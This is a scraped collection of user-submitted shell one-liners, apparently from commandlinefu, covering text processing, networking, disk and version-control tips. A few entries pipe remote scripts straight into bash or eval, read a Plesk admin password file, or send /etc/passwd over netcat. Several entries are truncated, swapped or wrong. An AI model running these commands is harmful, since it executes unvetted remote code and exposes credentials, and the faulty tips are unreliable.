 echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}

* Make a statistic about the lines of code

 find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'

* show all upd tcp an icmp traffic but ssh

 tcpdump -n -v tcp or udp or icmp and not port 22

* Edit all files found having a specific string found by grep

 find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim

* Edit all files found having a specific string found by grep

 find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi

* How far is Mac OS X 10.6 from 64-bit?

 file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3

* Sort a character string

 echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'

* Sort a character string

 echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}'

* dig this

 for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done

* Print all fields in a file/output from field N to the end of the

 awk '{print substr($0, index($0,$N))}'

* Install not signed packeges with yum

 yum --nogpgcheck install "examplePackage"

* Search gpg keys from commandline

 gpg --search-keys

* Check the backdoors and security.chkrootkit is a tool to locally

 chkrootkit -x | less

* Quick system hardware overview

 curl http://flip-edesign.com/scripts/system_info | bash

* To find how Apache has been compiled from commandline

 httpd2 -V

* Get the information about the Apache loaded modules from command

 httpd2 -M

* Recreate all initrd files

 for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done

* Get internal and external IP addresses

 ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;}

* netstat to daemons

 netstat -tanp | grep -i listen

* Recursive replace of directory and file names in the current

 find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'

* AND search using grep to search for multiple strings.

 grep "string1.*string2.*string3" text.log

* Open windows executable, file, or folder from cygwin terminal

 explorer $( cygpath "/path/to/file_or_exe" -w )

* Sort a list of numbers on on line, separated by spaces.

 echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//"

* remove unnecessary architecture code from Mac OS X Universal

 ditto --arch i386 doubleTwist.app doubleTwist_i386.app

* Using gdiff only select lines that are common between two files

 gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > outputfile.sorted

* Show display type

 ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r |

* display only tcp

 netstat -4tnape

* Find the full path of an already running process

 readlink -f /proc/<pid>/cmdline

* Alternative way to get the root directory size in megabytes

 expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024

* List files recursively sorted by modified time

 find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort

* Create variables from a list of names

 VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done

* display portion of a file

 cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"

* quick and easy way of validating a date format of yyyy-mm-dd and

 echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'

* Encrypted Tarballs

 tar -cf - folder/ | gpg -c > folder.tpg

* Clears Firefox` cache without clicking around

 rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache'

* Generate padded numbers 001 002 ... 100

 echo 00{1..9} 0{10..99} 100

* Expand shell variables in sed scripts

 expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file

* Cloning hard disks over the network:

 Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M

* Bash Alias That Plays Music from SomaFM

 alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls'

* Retrieve Plesk Admin Password

 cat /etc/psa/.psa.shadow

* Create new repo in Cobbler for CentOS 5.3 updates

 cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/

* set open firmware password command mode to require password to

 /usr/local/bin/OFPW -mode 1

* Sets OpenFirmware pasword on a mac

 /usr/local/bin/OFPW -pass thepassword

* Precide a bunch of files with a number in a pattern for example

 i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done

* Remove blank lines from a file

 sed -i.bak '/^[[:space:]]*$/d' file_name

* Find all python modules that use the math module

 find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;

* Change all instances of a word in all files in the current

 perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)

* Change all instances of a word in all files in the current

 perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)

* Grab your bibtex file from CiteULike.

 curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"

* print the date of the unix epoch in a human readable form using

 perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch

* Snmpwalk a hosts's entire OID tree with SNMP V2

 snmpwalk -v2c -c <community> -m ALL <HOST_IP> .

* List computers which are nearby on the network

 /usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

* Find the median file modification time of files in a directory

 date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F

* Quick alias for playing music.

 alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'

* Enable V4l2 Webcams

 gst-launch v4l2src

* for loop, counting forward for backward

 for i in {1..15}; do echo $i; done

* Display laptop battery information

 cat /proc/acpi/battery/BAT1/info

* Maven Install 3rd party JAR

 mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true

* Using awk to sum/count a column of numbers.

 cat count.txt | awk '{ sum+=$1} END {print sum}'

* Show amigable path

 alias path='echo $PATH | tr ":" "\n"'

* SVN Add Recursively

 svn status | grep "^\?" | awk '{print $2}' | xargs svn add

* Singularize all files in a directory

 for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done

* Activate on-the-fly GTK accels

 gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true

* Run a complete update unattended on Debian based GNU/Linux

 sudo apt-get update && sudo apt-get dist-upgrade -y

* Traffic stat on ethernet interface

 ethtool -S eth0

* sending message to a logined user of group

 write user anytext

* Show top-level subdirectories (zsh)

 ls -ld *(/)

* Toggle cdrom device

 eject -T [cdrom_device]

* Filtering IP address from ifconfig usefule in scripts

 IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`

* ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs

 ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9

* run a command repeatedly

 doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done }

* quickly show me interesting data about my processes

 alias mine='ps xco pid,command,%cpu,%mem,state'

* Random integer number between FLOOR and RANGE

 FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number

* top ten of biggest files/dirs in $PWD

 du -sm *|sort -rn|head -10

* Loopback mount .iso on FreeBSD

 mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom

* Recursively delete .svn folders

 find . -name .svn | xargs rm -rf

* Files modified today

 ls *(m-1)

* Run a second copy of Firefox using the same profile on Mac OS X

 (cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)

* HDD Performance Read Test

 dd if=10gb of=/dev/zero bs=1M count=10240

* Uncompress a directory full of tarred files (*.gz)

 for i in *.tar.gz *.tgz; do tar -zxvf $i; done

* [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data

 CONVERT D: /FS:NTFS

* Remap "New Folder" to Command+N, "New Finder Window" to

 defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder

* cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >>

 concatenate local RSA to remote machine's authorized_keys

* Ultimate current directory usage command

 ncdu

* Analyze awk fields

 awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'

* track flights from the command line

 flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn= "$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }

* Backup a local drive into a file on the remote host via ssh

 dd if=/dev/sda | ssh user@server 'dd of=sda.img'

* Kill the terminal(window/tab) you work in [suicide]

 kill -9 $$

* backup file. (for bash)

 cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash

* Renaming jpg extension files at bunch

 find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"'

* Get to the user for using system.

 ps awwux|awk '{print $1}'|sort|uniq

* Import an entire directory into clearcase

 ct mkelem -nc `find ./ -name "*" | xargs`

* Check out hijacked files in clearcase

 cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`

* ktadd

 kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"

* addprinc

 kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"

* Clearcase find branch

 ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null

* Convert a PKCS#8 private key to PEM format

 openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]

* list all file-types (case-insensitive extensions) including

 find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i

* creates a bash function to remove certain lines from SSH

 function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }

* Check if file is greater than 20 bytes, such as an empty gzip

 BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [

* Press Any Key to Continue

 read enterKey

* oneliner to open several times same application

 for i in $(seq 5); do xpenguins & done

* View entire process string

 /usr/ucb/ps -auxgww

* oneliner to open several times same application

 i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done

* wget ? server to server files transfer

 wget -H -r ?level=1 -k -p http://www.domain.com/folder/

* copy partition table from /dev/sda to /dev/sdb

 sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')

* Open a RemoteDesktop from terminal

 rdesktop -a 16 luigi:3052

* Save VM running as headless

 VBoxManage controlvm ServidorProducao savestate

* Running VirtualBox as headless

 nohup VBoxHeadless -p 3052 -startvm ServidorProducao &

* Ruby - nslookup against a list of IP`s or FQDN`s

 ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'

* Killing multiplpe process for one program like apache, wget,

 ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9

* Killing multiplpe process for one program like apache, wget,

 ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9

* Return IP Address

 ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'

* Return IP Address

 ifconfig | awk '/inet /{sub(/^[^:]+:/,"",$2); print $2}'

* Return IP Address

 /usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'

* search for a pattern (regex) in all text files (ignoring binary

 egrep -i "somepattern" `find . -type f -print`

* Mail text file (/tmp/scream-dump) contents from linux box with

 mail -s scream-dump user@example.com < /tmp/scream-dump

* http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh)

 ./encode.sh [ h264 | xvid | theora | mpeg4 ]

* generate random password

 tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q

* getting your current ip on your e-mail

 mail -s "`curl -s whatismyip.org`" youremail@yourserver.com <

* Sorted list of established destination connections

 netstat | grep EST | awk '{print $5}' | sort

* Find in all files in the current directory, just a find shorthand

 find ./ -name $1 -exec grep -H -n $2 '{}' ';'

* List all symbolic links in current directory

 ls -F | sed -n 's/@$//p'

* Mount a Windows share on the local network (Ubuntu)

 sudo mount -t cifs //$ip_or_host/$sharename /mnt

* Checks apache's access_log file, strips the search queries and

 cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail youremail@isp.com -s "[your-site] search strings for `date`"

* remove files and directories with acces time older than a given

 find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;

* Remove an unnecessary suffix from a file name for all files in a

 for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done

* Write and run a quick C program

 alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c && ~/.stdin.exe'

* Pipe ls output into less

 function lsless() { ls "$@" | less; }

* Find all dot files and directories

 ls -a | egrep "^\.\w"

* List files in tarballs

 for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done

* bash / vim workflow

 zsh$ M-v

* List files in tarballs

 find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar -tzf $file; done

* Count emails in an MBOX file

 grep -c '^From ' mbox_file

* Press Any Key to Continue

 echo -n "Press any key to continue..." && read

* umount all nfs mounts on machine

 mount | awk '/:/ { print $3 } ' | xargs sudo umount

* Get ethX mac addresses

 sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11

* Get your external IP address with the best commandlinefu.com

 eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/so rt-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')

* Go up multiple levels of directories quickly and easily.

 alias ..="cd .." ...="cd ../.." ....="cd ../../.."

* Get a text on a position on the file and store in a variable with

 TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )

* Useful if you need to see compiler errors while edit a code

 alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'

* Mount an external FAT32 USB HDD

 sudo mount -t vfat /dev/sdb1 /mnt/sdb1

* Forward connections

 ssh -g -L 8080:localhost:80 root@$HOST

* tail, with specific pattern colored

 tail -f file | egrep --color=always $\|PATTERN

* Compress files and delete the uncompressed ones

 for i in `ls`; do tar cvjf $i.tar.bz2 $i && rm -r $i; done

* Outputs a 10-digit random number

 n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n

* Simple Find

 find / -name FILENAME

* print crontab entries for all the users that actually have a

 for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done

* Transforms a file to all uppercase.

 perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file

* Laminate a file

 awk '{print(substr($0,1,5))}' file

* Get all members from one AD group and put them in another AD group

 for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i

* Remove blank lines from a file and save output to new file

 sed '/^$/d' file >newfile

* regex to match an ip

 echo "123.32.12.134" | grep -P '([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d \d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])'

* Checks your unread Gmail from the command line (or use imap etc)

 curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;

* Search through files, ignoring .svn

 ack -ai 'searchterm'

* show current directory

 xdg-open .

* show current directory

 gnome-open .

* Show directories in the PATH, one per line

 echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//{$1=pwd"/" $1}{print $1}'

* bash function to check for something every 5 seconds

 watch -n <seconds> <command>

* Sort a character string

 echo sortmeplease | grep -o . | sort | tr -d '\n'; echo

* free swap

 free -m | awk '/Swap/ {print $4}'

* rkhunter (Rootkit Hunter) is a Unix-based tool that scans for

 rkhunter --check

* Securely edit the sudo file over the network

 visudo

* Securely look at the group file over the network

 vigr

* Securely seeing the password file over the network

 vipw

* dos2unix recursively

 find . -type f -exec dos2unix {} +

* Get the information about the internet usage from the commandline.

 vnstat

* find dis1k space

 du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail

* Print man pages to PDF (yes, another one)

 man -t [command] | lp -d PDF -t [command].pdf

* Find the average QTime for all queries ran within the last hour

 cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H %M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}'

* Echo the local IP addresses of the machines on your local network

 for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done

* YES = NO

 yes | tr 'y' 'n'

* Update iptables firewall with a temp ruleset

 sudo iptables-restore < /etc/iptables.test.rules

* Emulate sleep in DOS/BAT

 echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME%

* Remove CR from Windows- / DOS-textfiles

 tr -d '\r' < ${input_txt} > ${output_txt}

* Emptying a text file in one shot

 ggdG

* CPU model

 cat /proc/cpuinfo

* Multiple Timed Execution of subshells sleeping in the background

 S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & )

* parses the BIOS memory and prints information about all structures

 biosdecode

* x86info

 x86info

* Lists the size of certain file in every 10 seconds

 while true ; do du -sk testfile ; sleep 10 ; done

* Turn Regular quotes ("") into curly quotes (??)

 smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0 xFFFF,0x0000,0xFFFF),'UTF-8');"

* List path of binaries

 echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'

* Get your external IP address

 html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4

* find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} |

 Rezip a bunch of files

* ssh autocomplete

 complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)" ssh

* Get all IPs via ifconfig

 ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1

* Read just the IP address of a device

 /sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g'

* Read just the IP address of a device

 ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'

* Command for getting the list of files with perms, owners, groups

 find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9

* count how many times a string appears in a (source code) tree

 grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'

* kill some process (same as others) but parsing to a variable

 tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;

* Move files around local filesystem with tar without wasting space

 tar -C <source> -cf - . | tar -C <destination> -xf -

* find a word in multiple files avoiding svn

 grep -r 'keyword keyword2' your/path/ | grep -v svn

* Display which distro is installed

 test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release || uname -rms )

* Alternative size (human readable) of directories (biggest last)

 function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done; }

* Use FileMerge to compare two files

 opendiff <file1> <file2>

* tar per directory

 cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done

* search for groups in ldap

 ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\([^,]*\),ou=\([^,]*\),.*/\2 \1/"

* Mac, ip, and hostname change - sweet!

 ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)

* Uncompress a CSS file

 cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css

* print random commandlinefu.com submission

 lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' | head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2

* Mount a CD-ROM on Solaris (SPARC)

 mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/" $11}'` /cdrom/unnamed_cdrom

* Kill an orphan console

 skill -KILL -t ttyS0

* Run Remote GUI Programs Using SSH Forwarding

 ssh -C -X user@remotehost gui_command

* Scan for viruses

 clamscan -ir --bell ~user/

* Get Tomorrow's Date

 TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",$tom[5]+1900,$tom[4]+1,$tom[3];'`

* Get Yesterday's Date

 YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",$yest[5]+1900,$yest[4]+1,$yest[3];'`

* Creating a ZFS Storage Pool by Using Files

 zpool create tank /path/to/file/a /path/to/file/b

* Creating a Mirrored Storage Pool using Zpool

 zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0

* Creating a RAID-Z Storage Pool

 zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0

* Remove all .svn folders inside a folder

 find . -name "\.svn" -exec rm -rf {} ";"

* Do an OR search using grep to look for more than one search term

 grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName>

* IP address of current host

 hostname -i

* Find the svn directory that a commit was made in. Usefull if you

 echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done

* Append output to the beginning of a file.

 command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp

* gzip vs bzip2 at compressing random strings?

 < /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null

* Show live HTTP requests being made on OS X

 sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"

* Display all installed ISO/IEC 8859 manpages

 for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done

* List SMTP connections by host

 cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail

* Not so simple countdown from a given date

 watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl -ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\'

* Get own public IP address

 wget -qO- whatismyip.org

* Add some color to ls file and folder listings

 eval "`dircolors -b`"

* Quickly make schema changes in Django

 while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done

* Convert files with CR-terminated lines (as created by Mac OS X

 function crtonl { perl -i -ape 's/\r/\n/g;' $* ; }

* Find files modified in the last 5 days, no more than 2 levels

 find . -type f -depth -3 -mtime -5

* easy regex based mass renaming

 ls /some/directory | sed -rn -e 's/inpattern/mv -v & outpattern/p' | sh

* Shows your WAN IP, when you`re sitting behind a router

 alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"'

* Kills all processes for a certain program

 kill -9 $(pidof process)

* startx output to log file

 startx > startx.log 2>&1

* Copy files from one dir to another using tar.

 tar cf - . | (cd /new/dir; tar xvf -)

* read a column of a file with table like data

 echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE

* Recursively deletes folders named DIR

 find . -type d -name DIR -exec rm -r {} \;

* remove file named 1 after fat fingeriing :w! in vi

 :rm 1

* Generic date format

 date --iso

* Query for installed packages on RHEL boxes, and format the output

 rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'

* Say the current time (Mac OS X)

 date "+The time is %H:%M" | say

* Show "Max" settings for PHP

 php -i|grep -i max

* determine if CPU is 32-bit or 64-bit

 grep lm /proc/cpuinfo

* More precise BASH debugging

 env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile

* is today the end of the month?

 [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'

* Create a directory and change into it at the same time

 md () { mkdir -p "$@" && cd "$@"; }

* Show Directories in the PATH Which does NOT Exist

 (IFS=:;for p in $PATH; do test -d $p || echo $p; done)

* Testing hard disk reading speed

 hdparm -t /dev/sda

* Identify differences between directories (possibly on different

 diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')

* Print text string vertically, one character per line.

 echo "vertical text" | grep -o '.'

* Show directories in the PATH, one per line

 echo $PATH | tr \: \\n

* display an embeded help message from bash script header

 [ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }

* Send data securly over the net.

 cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080

* Replace spaces in filenames with underscorees

 rename -v 's/ /_/g' *

* bash: hotkey to put current commandline to text-editor

 bash-hotkey: <CTRL+x+e>

* move a lot of files over ssh

 tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'

* print file without duplicated lines using awk

 awk '!a[$0]++' file

* Cleanup firefox's database.

 pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)

* vim easter egg

 $ vim ... :help 42

* Change proccess affinity.

 taskset -cp <core> <pid>

* Download file with multiple simultaneous connections

 aria2c -s 4 http://my/url

* A fun thing to do with ram is actually open it up and take a

 sudo strings /dev/mem

* Pick a random line from a file

 shuf -n1 file.txt

* Use xdg-open to avoid hard coding browser commands

 xdg-open http://gmail.com

* Search commandlinefu from the CLI

 curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100

* pipe output of a command to your clipboard

 some command|xsel --clipboard

* Using bash inline "here document" with three less-than symbols on

 <<<"k=1024; m=k*k; g=k*m; g" bc

* Colored SVN diff

 svn diff <file> | vim -R -

* show open ports on computer

 netstat -an | grep -i listen

* Checking total connections to each Ip inserver

 netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n

* Convert images (foo.gif => foo.jpg)

 for i in **/*.gif; convert $i $i:r.jpg

* Updating twitter with from curl

 curl -u userid:password -d status="New Twitter Message" http://twitter.com/statuses/update.xml

* Inserting a decimal every third digit

 perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/'

* Forget fortunes in your terminal this grabs a random

 wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:&quot;:":g;s:^:\n:g;s:$:\n:'

* Double Compile system and world on gentoo

 emerge -e system && emerge -e system && emerge -e world && emerge -e world

* Finding hostname and the IP Address of your machine

 host `hostname`

* Force log creation when running an msi install

 msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt

* Execute a command if a file exists

 grep -sq "" /etc/lsb-release && lsb_release -rd

* strip ^M character from files in VI

 :%s/<control-VM>//g

* Cleanly quit KDE4 apps

 kquitapp plasma

* Remove files/directory with spaces.

 find -name "*.exe" -printf "\"%p\"\n" | xargs /bin/rm

* Calculates fake folder checksum based on folder's files' md5sums

 find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort | md5sum | awk '{print $1}'

* use perl instead of sed

 echo "sed -e"|perl -pe 's/sed -e/perl -pe/'

* Contextual Menu Cleanup (OSX)

 /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks /LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user

* Outputs current folder svn revision

 LC_ALL=C svn info | grep Revision | awk '{print $2}'

* Current directory files and subdirectories ordered by size

 du -ks * | sort -n

* Print the current battery status

 acpi | cut -d '%' -f1 | cut -d ',' -f2

* Mount a windows partition in a dual boot linux

